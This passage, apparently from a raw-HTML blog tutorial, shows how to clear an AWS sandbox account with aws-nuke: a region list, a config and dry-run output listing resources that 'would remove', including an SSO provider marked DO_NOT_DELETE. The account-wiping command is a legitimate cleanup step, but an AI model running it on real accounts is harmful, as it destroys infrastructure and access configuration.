--output\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e text\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e xargs\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sort\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich would give you an updated config of:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e # Global resources like IAM\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eI personally do not recommend targeting all AWS regions at the same time. It\nwill generate a lot of output and be slow. You could do it if necessary but\nmost people only have a few regions they use and so they can set those directly.\nFor example, maybe you only use \u003ccode\u003eus-\u003c/code\u003e based regions?\u003c/p\u003e\n\u003cp\u003eSo lets run the dry-run and see what it wants to nuke:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws-nuke\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis should output something like:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e you\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e really\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e want\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e account\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 777777777777\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e alias\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'nuke-sandbox'?\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e you\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e want\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e continue?\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Enter\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e account\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e alias\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e to\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e continue.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e nuke-sandbox\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0cd9975a443a6304b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0be39d02e399a371c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-02d7017bd4730ea63\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0ec04b28c32708ab2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-0eea1b4be084840ed\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2Subnet\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e subnet-05a294cc04736012e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DefaultVPC:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"true\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e OwnerID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2RouteTable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rtb-0abda0e94015064ca\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sgr-0368525f77bf566ac\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sgr-0890a837ed6148729\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EC2InternetGatewayAttachment\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e igw-0acfb474f1fd71375\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e vpc-0be5d310ab44c239a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e SQSQueue\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://sqs.us-east-1.amazonaws.com/777777777777/example-sqs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMOpenIDConnectProvider\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:oidc-provider/app.terraform.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [Arn: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::777777777777:oidc-provider/app.terraform.io\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMPolicy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:policy/tfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [ARN: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Name:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Path:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/\",\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PolicyID:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ANPA2T6PZOBNWI76TKQRF\"]\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e would\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e remove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan 